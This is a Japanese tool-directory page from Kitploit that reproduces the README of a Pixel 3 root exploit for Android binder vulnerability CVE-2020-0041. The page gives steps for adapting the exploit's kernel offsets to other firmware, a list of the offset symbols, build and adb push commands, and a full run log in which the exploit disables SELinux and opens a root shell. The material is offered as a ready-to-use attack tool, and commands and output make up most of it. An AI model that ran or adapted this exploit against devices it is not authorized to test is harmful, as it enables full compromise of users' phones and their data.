Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
root-exploit-pixel3 — Pixel 3向けに適応されたCVE-2020-0041のrootエクスプロイト | Kitploit
ツール/GitHubGitHub/jcalabres/root-exploit-pixel3
Androidセキュリティ特権昇格脆弱性分析エクスプロイトリバースエンジニアリングペネトレーションテストバイナリエクスプロイト
GitHubjcalabres/root-exploit-pixel3

root-exploit-pixel3

Pixel 3向けに適応されたCVE-2020-0041のrootエクスプロイト

リポジトリを見る
1352年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Pixel 3 ファミリー向けルートエクスプロイト

このフォルダには、CVE-2020-0041 向けの bluefrostsecurity PoC を改変したローカル権限昇格エクスプロイトが含まれています。このエクスプロイトは SELinux を無効化し、ルートシェルを起動します。

  • エクスプロイトは 2020 年 2 月のファームウェア (QQ1A.200205.002) を実行している Pixel 3 デバイス向けにハードコードされたオフセットで提供されています。以下の手順に従うことで、任意の Pixel 3 デバイスに適応させることができます。

  • ルートユーザーの制限を回避するためにいくつかの変更が加えられています(元のエクスプロイトは使用できません)。

エクスプロイトの適応

  1. 任意の Pixel 3 デバイスにエクスプロイトを適応させるには、特定の脆弱なファームウェア (QQ1A.200205.002) を公式ウェブサイト developer android images からダウンロードする必要があります。

  2. 次に、boot.img を zImage に変換します。そのためには abootimg を使用します。

root@kitploit:~
./abootimg -x [path_to_boot_img]

生成される zImage は、圧縮された Android カーネルを含むイメージです。

  1. 正しいシンボルとオフセットを含むカーネルの非圧縮イメージを取得するには、vmlinux-to-elf ツールを使用します。
root@kitploit:~
vmlinux-to-elf [path_to_zImage] [kernel.elf] 
  1. お好みの逆アセンブラを使用して、exploit.c に記載されているエクスプロイトのオフセットに関連するラベルを見つけます:
root@kitploit:~
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
  1. exploit.c を正しいオフセットに合わせます。

  2. 完了 :)

エクスプロイトのテスト

エクスプロイトは、Android NDK がパスに設定された状態で単に "make" を実行するだけでビルドできます(*libs/arm64-v8a パスから poc バイナリを取得することもできます)。また、"make all push" を実行することで、adb で接続されたデバイスにプッシュすることもできます(警告は簡略化のため削除):

root@kitploit:~
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

次に、adb シェルから /data/local/tmp/poc を実行すると、エクスプロイトの実行が確認できます:

root@kitploit:~
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ # 
ツールをダウンロード